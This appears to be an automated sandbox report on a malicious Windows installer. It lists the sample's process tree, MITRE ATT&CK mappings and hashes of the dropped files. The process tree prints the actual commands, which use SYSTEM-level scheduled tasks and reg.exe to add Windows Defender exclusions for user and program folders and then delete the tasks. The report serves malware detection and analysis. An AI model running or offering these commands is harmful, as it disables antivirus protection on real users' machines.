C:\Windows\system32\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"3⤵
- Scheduled Task/Job: Scheduled Task
PID:2644
-
-
C:\Windows\system32\schtasks.exeSCHTASKS /Run /TN "Task1"3⤵PID:1920
-
-
C:\Windows\system32\schtasks.exeSCHTASKS /Delete /TN "Task1" /F3⤵PID:5464
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F2⤵
- Indicator Removal: Clear Persistence
- Suspicious use of WriteProcessMemory
PID:3412 -
C:\Windows\system32\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"3⤵
- Scheduled Task/Job: Scheduled Task
PID:4112
-
-
C:\Windows\system32\schtasks.exeSCHTASKS /Run /TN "Task1"3⤵PID:1952
-
-
C:\Windows\system32\schtasks.exeSCHTASKS /Delete /TN "Task1" /F3⤵PID:2076
-
-
-
C:\Windows\system32\cmd.exe"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\r40Wnc" /t REG_DWORD /d 0 /f1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:2424 -
C:\Windows\System32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\r40Wnc" /t REG_DWORD /d 0 /f2⤵
- Windows security bypass
PID:3504
-
-
C:\Windows\system32\cmd.execmd.exe1⤵PID:5804
-
C:\Windows\system32\cmd.exe"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:3284 -
C:\Windows\System32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f2⤵
- Windows security bypass
PID:4172
-
-
C:\Windows\system32\cmd.exe"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:1360 -
C:\Windows\System32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f2⤵
- Windows security bypass
PID:5660
-
-
C:\Windows\system32\cmd.exe"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4240 -
C:\Windows\System32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f2⤵
- Windows security bypass
PID:6048
-
-
C:\Windows\system32\cmd.exe"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:1724 -
C:\Windows\System32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f2⤵
- Windows security bypass
PID:2700
-
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
2PowerShell
1Windows Command Shell
1Scheduled Task/Job
1Scheduled Task
1Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Event Triggered Execution
1Installer Packages
1Scheduled Task/Job
1Scheduled Task
1Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Event Triggered Execution
1Installer Packages
1Scheduled Task/Job
1Scheduled Task
1Defense Evasion
Impair Defenses
1Disable or Modify Tools
1Indicator Removal
1Clear Persistence
1Modify Registry
2System Binary Proxy Execution
1Msiexec
1Replay Monitor
Loading Replay Monitor...
Downloads
- Path C:\Config.Msi\e5942ad.rbs
- Size 7KB
- SHA256 cf9a83d61968643bc8b9798e5d2d038a00a9264d96d39645479bc5a7b62f97c4
- MD5 46c8b32377bcccac6aa92fc176529ce5
- SHA1 a07a4e0f75f07aa0e03b354f524182ba9b6e83ef
- SHA512 19fac005755f145ccc7450ade7d7432cb4d77c0e19ed5d6de1eca2063036943dce58df2006e4b9b2cd7b5271454ac02595d5c340c17759e89af9e35cb6cb550a
- SSDEEP 96:KVcGgu0CnSNxUUjdR21CsThqK/UjdR21C6jdAsDThqKjHKIK5RPWELEyE/YwJwCW:KVcXCSLzxR2IIBsxR2ISBaHtI5d3KpZ
- TLSH T119F10146B20481E2F9973731CF271B263BB3D3E49314A30B0ADD84749E4738D6EA619E
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Public\r40Wnc\0TGvKe.exe
- Size 135KB
- SHA256 676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7
- MD5 9ec587911e501b73b7cf09f05d0ae17d
- SHA1 5b62403cc9a668c6e5c70ace177fd54fcc4c5936
- SHA512 d05468a472373815c46ccb46ec743408365d24982d10d8a23ee0036c28cf3dacd05d74304ef2d4b7118f91ff3f631f676b2e86ddee92a02cf988b0d3c6247847
- SSDEEP 3072:MmhXb5pgtiaRENEErO9Uj4OqhhUvB4BNgQaJ:MmjgtiayGErsUKh3To
- TLSH T1D0D38C2776A474F9E1778635C8511A1AE772B8760770CB9F03A442A62F237D19E3EF20
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Public\r40Wnc\UxEnhance64.dll
- Size 3.1MB
- SHA256 4f26ac2483a41acaa1cc23f1dfd76d567c3d447306acf221c22827b4b032a0e1
- MD5 f2e5c915b7124a0044740c3d5d472fff
- SHA1 ac4cff8e7ac3e01d3ce735615f6d112330e8d991
- SHA512 35257fcc0f660a2f2b0181981fdce24626abb587ab18a67c194a5ee95acf0b2ccda799d5cfa582222349add1fe1b67372c43f6939faa5ebf888c87d5c8571136
- SSDEEP 49152:P9KpI8cBa0kj6BK0x3TiMQclkGo2PXk6rkwuuWG/+WizBedfb77N3SnKrKB+3:P9m29xx3Tiqt06ox6+z2rNNrKo3
- TLSH T15CE523E5B6D739F6D023CBF4DA62A1AD70393F505F635C5F3B8929014E62228973A390
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Public\r40Wnc\adoresd.dat
- Size 4.8MB
- SHA256 fb59e3efe447a7b7d3701ca65a8dd0475802d25c3b9c99cc5e22a810da408fcf
- MD5 8a723ab831b4fde7095c3d856b255649
- SHA1 9ab61b6355553de57e373eb889d9859c2461fc21
- SHA512 8bb6a2c9b6c5c61b1b3541f3c5880a09b6f11f498723b450334ae8f7065f68c9662d7da45b1a883e98d8a658b0480572d0facd3e94ce936a3261cea349c86d69
- SSDEEP 98304:VuZ630UjjOt6udZuYb7Ad2WAqSFmtNYNF/ltN3fjZgRnXxs:OQDPnORb7AdPEm7Y7ltlVgxs
- TLSH T1BC363339536D9C62DDC7A0F8A49D4596FF683D60FAE2A006B47C1D213015DFB986FE08
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Public\r40Wnc\msadox.tb
- Size 8KB
- SHA256 153315d6b4e5335d84e0cd12ffcd225db3936680e10755534e8d100eca370f5f
- MD5 0952774276e005fe8ec63d3c7a8fe47c
- SHA1 f6f2e473e28506708bc55c1f732099ba6b1fc6e5
- SHA512 62fdad6334435d964ece8de33a29ccfe356f7202b7d8a43c6e17e25a420c99308909ded787c3181f9436dc9809ddbec046fcaf06a90bb63ca7f3c5846a3b88e1
- SSDEEP 192:8qbZajnZ45X1q3JXglD+3vR8cwNhIMCGe2y0PQp:8sZqZOXQ3uqvR2Kfzp
- TLSH T159029E05D7A20CC3D2016C71CD9EB2F5AB13A1DADA3926719C67D4C167072DD2CE620D
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Windows\Installer\MSI4906.tmp
- Size 8.6MB
- SHA256 cfccba7764c9873b25e086db690e221c2555a79c85523756680bdeece1264e82
- MD5 917ccdbd5706c1f850b692d89a68792f
- SHA1 7f2c440834a011108db4e3d486f4ca1291f24ca7
- SHA512 f16fbcec62db76b5dd505b1011dcf25dfb2a84d47757c2e65bc9d9a44b6f842dff16bc918bf5a4ac908d6acdaa3db2e5000dfea81981b4be0af890be2da60306
- SSDEEP 196608:kDPoHyBL2NB7i7z+cwih17qgQRnEAnG5keZbtO:kUHyBSo+Gh17qvGdbY
- TLSH T1D19633EE798B62B4C0DFC3F69502743DB61833CA7F634D1A7A9D2B044D7260654BAB18
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Windows\Installer\e5942ac.msi
- Size 8.6MB
- SHA256 70f2e89d60de401c273f413831581b28b41e6dfdf1678de88ada78f73d15f263
- MD5 41acb20c677a5f3a1b3f5d271e05c9d4
- SHA1 ccc63a8aadb10225474d1ddfd4692e00e6b401dd
- SHA512 73c7d06d4aabd87f0ddeadec47ff7d0f457d7e49609211e0dd321001d8962b91157484b19e2a10d62f2f6e8d82a19175fd2b6c743ab1af9157126576e5bab9e1
- SSDEEP 196608:4DPoHyBL2NB7i7z+cwih17wgQRnEAnG5keZbuA:4UHyBSo+Gh17wvGdbl
- TLSH T1349633AAB98B67B0C0DFC3F68502B07D76183FCA7F624D1A7A9D3B080D7160155B6B18
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path \??\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\System Volume Information\SPP\metadata-2
- Size 26.1MB
- SHA256 3fa42c9a3f0a434e3bd382ba87b3c9dcd6e6ed13def8604aa9785a10fdfa7ec7
- MD5 d453ecd3cc480505eb83277bf2e14f38
- SHA1 9f40a9e0bdc7de7eecb5b9e29ccad220241dcc3d
- SHA512 de850448acc0a35201865db96a0548b2c4797c11191d96176b4193ac74efe7f23d3e2c2c56289612c5bbf8b4753c9dd36adb4c2ab54eb5d998a1f4aa73ffacca
- SSDEEP 24576:JFo3DMP3doO/vvTL/yghRClw/LubKr2iEMHD9MvZHkP6pWQRsYx2RILAVep:DHA
- TLSH T1C057D12436F92210E7B79E7CB8F06A634D3A7D5B9C15DE8D05411B4E0822F71E872F6A
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path \??\Volume{c4ee2a5b-0000-0000-0000-d08302000000}\System Volume Information\SPP\OnlineMetadataCache\{7ed608d9-e0c9-4c7a-bc11-40a9a46c3584}_OnDiskSnapshotProp
- Size 6KB
- SHA256 92f7ef9eb016c683845ba4c7ed3b13fd28f281a6453707a9ac206a97f9105111
- MD5 ff4ec03aed30d96e75c0c1e51415bc44
- SHA1 1ff8983dd6b51c70565b19aa2ac0ee149ed1ae8e
- SHA512 5a9dfcbf864bb91377e0725fb344ce6f811afc43a4a69b1b87500b8d9a1acaab4355c1b29eca7ffe7c1eb110f9a38fde2ac99771bfa42ec5133e591537b52828
- SSDEEP 96:F52Euavc6DD84LTHzbOHXOHBlBRQn8Sc9XE56tOSVQpu:r1b++uVm
- TLSH T16ED188085AF54711E2B3AB7129F18557A877B911EF33CB8E0198238E6670A10F935F6F
- MD5 SHA1 SHA512 SSDEEP TLSH